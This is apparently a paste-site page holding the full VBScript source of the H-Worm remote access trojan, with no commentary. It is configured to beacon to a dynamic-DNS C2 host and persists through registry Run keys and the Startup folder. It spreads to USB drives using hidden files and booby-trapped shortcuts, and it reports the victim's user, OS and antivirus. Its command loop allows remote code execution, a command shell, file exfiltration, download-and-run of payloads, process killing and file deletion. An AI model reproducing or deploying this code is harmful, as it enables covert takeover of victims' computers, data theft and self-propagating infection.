H-WORM
unknown
vbscript
2 years ago
13 kB
4
Indexable
host = "freshguys.ddnsking.com"
port = 5674
installdir = "%temp%"
lnkfile = False
lnkfolder = False
Dim shellobj
Set shellobj = WScript.CreateObject("wscript.shell")
Dim filesystemobj
Set filesystemobj = CreateObject("scripting.filesystemobject")
Dim httpobj
Set httpobj = CreateObject("msxml2.xmlhttp")
installname = WScript.scriptname
startup = shellobj.specialfolders ("startup") & "\"
installdir = shellobj.expandenvironmentstrings(installdir) & "\"
If Not filesystemobj.folderexists(installdir) Then installdir = shellobj.expandenvironmentstrings("%temp%") & "\"
spliter = "<" & "|" & ">"
sleep = 5000
Dim response
Dim cmd
Dim param
info = ""
usbspreading = ""
startdate = ""
Dim oneonce
On Error Resume Next
instance
While True
install
response = ""
response = post ("is-ready","")
cmd = Split (response,spliter)
Select Case cmd (0)
Case "excecute"
param = cmd (1)
execute param
Case "update"
param = cmd (1)
oneonce.close
Set oneonce = filesystemobj.opentextfile (installdir & installname ,2, False)
oneonce.write param
oneonce.close
shellobj.run "wscript.exe //B " & Chr(34) & installdir & installname & Chr(34)
WScript.quit
Case "uninstall"
uninstall
Case "send"
download cmd (1),cmd (2)
Case "site-send"
sitedownloader cmd (1),cmd (2)
Case "recv"
param = cmd (1)
upload (param)
Case "enum-driver"
post "is-enum-driver",enumdriver
Case "enum-faf"
param = cmd (1)
post "is-enum-faf",enumfaf (param)
Case "enum-process"
post "is-enum-process",enumprocess
Case "cmd-shell"
param = cmd (1)
post "is-cmd-shell",cmdshell (param)
Case "delete"
param = cmd (1)
deletefaf (param)
Case "exit-process"
param = cmd (1)
exitprocess (param)
Case "sleep"
param = cmd (1)
sleep = Eval (param)
End Select
WScript.sleep sleep
WEnd subinstall
On Error Resume Next
Dim lnkobj
Dim filename
Dim foldername
Dim fileicon
Dim foldericon
upstart
For Each drive In filesystemobj.drives
If drive.isready = True Then
If drive.freespace > 0 Then
If drive.drivetype = 1 Then
filesystemobj.copyfile WScript.scriptfullname , drive.path & "\" & installname,True
If filesystemobj.fileexists (drive.path & "\" & installname) Then
filesystemobj.getfile(drive.path & "\" & installname).attributes = 2 + 4
End If
For Each file In filesystemobj.getfolder( drive.path & "\" ).Files
If Not lnkfile Then Exit For
If InStr (file.name,".") Then
If LCase (Split(file.name, ".") (UBound(Split(file.name, ".")))) <> "lnk" Then
file.attributes = 2 + 4
If UCase (file.name) <> UCase (installname) Then
filename = Split(file.name,".")
Set lnkobj = shellobj.createshortcut (drive.path & "\" & filename (0) & ".lnk")
lnkobj.windowstyle = 7
lnkobj.targetpath = "cmd.exe"
lnkobj.workingdirectory = ""
lnkobj.arguments = "/c start " & Replace(installname," ", chrw(34) & " " & chrw(34)) & "&start " & Replace(file.name," ", chrw(34) & " " & chrw(34)) & "&exit"
fileicon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\" & shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\." & Split(file.name, ".")(UBound(Split(file.name, "."))) & "\") & "\defaulticon\")
If InStr (fileicon,",") = 0 Then
lnkobj.iconlocation = file.path
Else
lnkobj.iconlocation = fileicon
End If
lnkobj.save()
End If
End If
End If
Next
For Each folder In filesystemobj.getfolder( drive.path & "\" ).subfolders
If Not lnkfolder Then Exit For
folder.attributes = 2 + 4
foldername = folder.name
Set lnkobj = shellobj.createshortcut (drive.path & "\" & foldername & ".lnk")
lnkobj.windowstyle = 7
lnkobj.targetpath = "cmd.exe"
lnkobj.workingdirectory = ""
lnkobj.arguments = "/c start " & Replace(installname," ", chrw(34) & " " & chrw(34)) & "&start explorer " & Replace(folder.name," ", chrw(34) & " " & chrw(34)) & "&exit"
foldericon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\folder\defaulticon\")
If InStr (foldericon,",") = 0 Then
lnkobj.iconlocation = folder.path
Else
lnkobj.iconlocation = foldericon
End If
lnkobj.save()
Next
End If
End If
End If
Next
err.clear
End Sub
Sub uninstall
On Error Resume Next
Dim filename
Dim foldername
shellobj.regdelete "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & Split (installname,".")(0)
shellobj.regdelete "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & Split (installname,".")(0)
filesystemobj.deletefile startup & installname ,True
filesystemobj.deletefile WScript.scriptfullname ,True
For Each drive In filesystemobj.drives
If drive.isready = True Then
If drive.freespace > 0 Then
If drive.drivetype = 1 Then
For Each file In filesystemobj.getfolder ( drive.path & "\").files
On Error Resume Next
If InStr (file.name,".") Then
If LCase (Split(file.name, ".")(UBound(Split(file.name, ".")))) <> "lnk" Then
file.attributes = 0
If UCase (file.name) <> UCase (installname) Then
filename = Split(file.name,".")
filesystemobj.deletefile (drive.path & "\" & filename(0) & ".lnk" )
Else
filesystemobj.deletefile (drive.path & "\" & file.name)
End If
Else
filesystemobj.deletefile (file.path)
End If
End If
Next
For Each folder In filesystemobj.getfolder( drive.path & "\" ).subfolders
folder.attributes = 0
Next
End If
End If
End If
Next
WScript.quit
End Sub
Function post (cmd ,param)
post = param
httpobj.open "post","http://" & host & ":" & port & "/" & cmd, False
httpobj.setrequestheader "user-agent:",information
httpobj.send param
post = httpobj.responsetext
End Function
Function information
On Error Resume Next
If inf = "" Then
inf = hwid & spliter
inf = inf & shellobj.expandenvironmentstrings("%computername%") & spliter
inf = inf & shellobj.expandenvironmentstrings("%username%") & spliter
Set root = GetObject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
Set os = root.execquery ("select * from win32_operatingsystem")
For Each osinfo In os
inf = inf & osinfo.caption & spliter
Exit For
Next
inf = inf & "plus" & spliter
inf = inf & security & spliter
inf = inf & usbspreading
information = inf
Else
information = inf
End If
End Function
Sub upstart ()
On Error Resume Next
shellobj.regwrite "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & Split (installname,".")(0), "wscript.exe //B " & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
shellobj.regwrite "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & Split (installname,".")(0), "wscript.exe //B " & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
filesystemobj.copyfile WScript.scriptfullname,installdir & installname,True
filesystemobj.copyfile WScript.scriptfullname,startup & installname ,True
End Sub
Function hwid
On Error Resume Next
Set root = GetObject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
Set disks = root.execquery ("select * from win32_logicaldisk")
For Each disk In disks
If disk.volumeserialnumber <> "" Then
hwid = disk.volumeserialnumber
Exit For
End If
Next
End Function
Function security
On Error Resume Next
security = ""
Set objwmiservice = GetObject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
Set colitems = objwmiservice.execquery("select * from win32_operatingsystem",,48)
For Each objitem In colitems
versionstr = Split (objitem.version,".")
Next
versionstr = Split (colitems.version,".")
osversion = versionstr (0) & "."
For x = 1 To UBound (versionstr)
osversion = osversion & versionstr (i)
Next
osversion = Eval (osversion)
If osversion > 6 Then sc = "securitycenter2" Else sc = "securitycenter"
Set objsecuritycenter = GetObject("winmgmts:\\localhost\root\" & sc)
Set colantivirus = objsecuritycenter.execquery("select * from antivirusproduct","wql",0)
For Each objantivirus In colantivirus
security = security & objantivirus.displayname & " ."
Next
If security = "" Then security = "nan-av"
End Function
Function instance
On Error Resume Next
usbspreading = shellobj.regread ("HKEY_LOCAL_MACHINE\software\" & Split (installname,".")(0) & "\")
If usbspreading = "" Then
If LCase ( Mid(WScript.scriptfullname,2)) = ":\" & LCase(installname) Then
usbspreading = "true - " & Date
shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & Split (installname,".")(0) & "\", usbspreading, "REG_SZ"
Else
usbspreading = "false - " & Date
shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & Split (installname,".")(0) & "\", usbspreading, "REG_SZ"
End If
End If
upstart
Set scriptfullnameshort = filesystemobj.getfile (WScript.scriptfullname)
Set installfullnameshort = filesystemobj.getfile (installdir & installname)
If LCase (scriptfullnameshort.shortpath) <> LCase (installfullnameshort.shortpath) Then
shellobj.run "wscript.exe //B " & Chr(34) & installdir & installname & Chr(34)
WScript.quit
End If
err.clear
Set oneonce = filesystemobj.opentextfile (installdir & installname ,8, False)
If err.number > 0 Then WScript.quit
End Function
Sub sitedownloader (fileurl,filename)
strlink = fileurl
strsaveto = installdir & filename
Set objhttpdownload = CreateObject("msxml2.xmlhttp" )
objhttpdownload.open "get", strlink, False
objhttpdownload.send
Set objfsodownload = CreateObject ("scripting.filesystemobject")
If objfsodownload.fileexists (strsaveto) Then
objfsodownload.deletefile (strsaveto)
End If
If objhttpdownload.status = 200 Then
Dim objstreamdownload
Set objstreamdownload = CreateObject("adodb.stream")
With objstreamdownload
.Type = 1
.open
.write objhttpdownload.responsebody
.savetofile strsaveto
.close
End With
Set objstreamdownload = Nothing
End If
If objfsodownload.fileexists(strsaveto) Then
shellobj.run objfsodownload.getfile (strsaveto).shortpath
End If
End Sub
Sub download (fileurl,filedir)
If filedir = "" Then
filedir = installdir
End If
strsaveto = filedir & Mid (fileurl, InStrRev (fileurl,"\") + 1)
Set objhttpdownload = CreateObject("msxml2.xmlhttp")
objhttpdownload.open "post","http://" & host & ":" & port & "/" & "is-sending" & spliter & fileurl, False
objhttpdownload.send ""
Set objfsodownload = CreateObject ("scripting.filesystemobject")
If objfsodownload.fileexists (strsaveto) Then
objfsodownload.deletefile (strsaveto)
End If
If objhttpdownload.status = 200 Then
Dim objstreamdownload
Set objstreamdownload = CreateObject("adodb.stream")
With objstreamdownload
.Type = 1
.open
.write objhttpdownload.responsebody
.savetofile strsaveto
.close
End With
Set objstreamdownload = Nothing
End If
If objfsodownload.fileexists(strsaveto) Then
shellobj.run objfsodownload.getfile (strsaveto).shortpath
End If
End Sub
Function upload (fileurl)
Dim httpobj,objstreamuploade,buffer
Set objstreamuploade = CreateObject("adodb.stream")
With objstreamuploade
.Type = 1
.open
.loadfromfile fileurl
buffer = .read
.close
End With
Set objstreamdownload = Nothing
Set httpobj = CreateObject("msxml2.xmlhttp")
httpobj.open "post","http://" & host & ":" & port & "/" & "is-recving" & spliter & fileurl, False
httpobj.send buffer
End Function
Function enumdriver ()
For Each drive In filesystemobj.drives
If drive.isready = True Then
enumdriver = enumdriver & drive.path & "|" & drive.drivetype & spliter
End If
Next
End Function
Function enumfaf (enumdir)
enumfaf = enumdir & spliter
For Each folder In filesystemobj.getfolder (enumdir).subfolders
enumfaf = enumfaf & folder.name & "|" & "" & "|" & "d" & "|" & folder.attributes & spliter
Next
For Each file In filesystemobj.getfolder (enumdir).files
enumfaf = enumfaf & file.name & "|" & file.size & "|" & "f" & "|" & file.attributes & spliter
Next
End Function
Function enumprocess ()
On Error Resume Next
Set objwmiservice = GetObject("winmgmts:\\.\root\cimv2")
Set colitems = objwmiservice.execquery("select * from win32_process",,48)
Dim objitem
For Each objitem In colitems
enumprocess = enumprocess & objitem.name & "|"
enumprocess = enumprocess & objitem.processid & "|"
enumprocess = enumprocess & objitem.executablepath & spliter
Next
End Function
Sub exitprocess (pid)
On Error Resume Next
shellobj.run "taskkill /F /T /PID " & pid,7,True
End Sub
Sub deletefaf (url)
On Error Resume Next
filesystemobj.deletefile url
filesystemobj.deletefolder url
End Sub
Function cmdshell (cmd)
Dim httpobj,oexec,readallfromany
Set oexec = shellobj.exec ("%comspec% /c " & cmd)
If Not oexec.stdout.atendofstream Then
readallfromany = oexec.stdout.readall
ElseIf Not oexec.stderr.atendofstream Then
readallfromany = oexec.stderr.readall
Else
readallfromany = ""
End If
cmdshell = readallfromany
End Function
Editor is loading...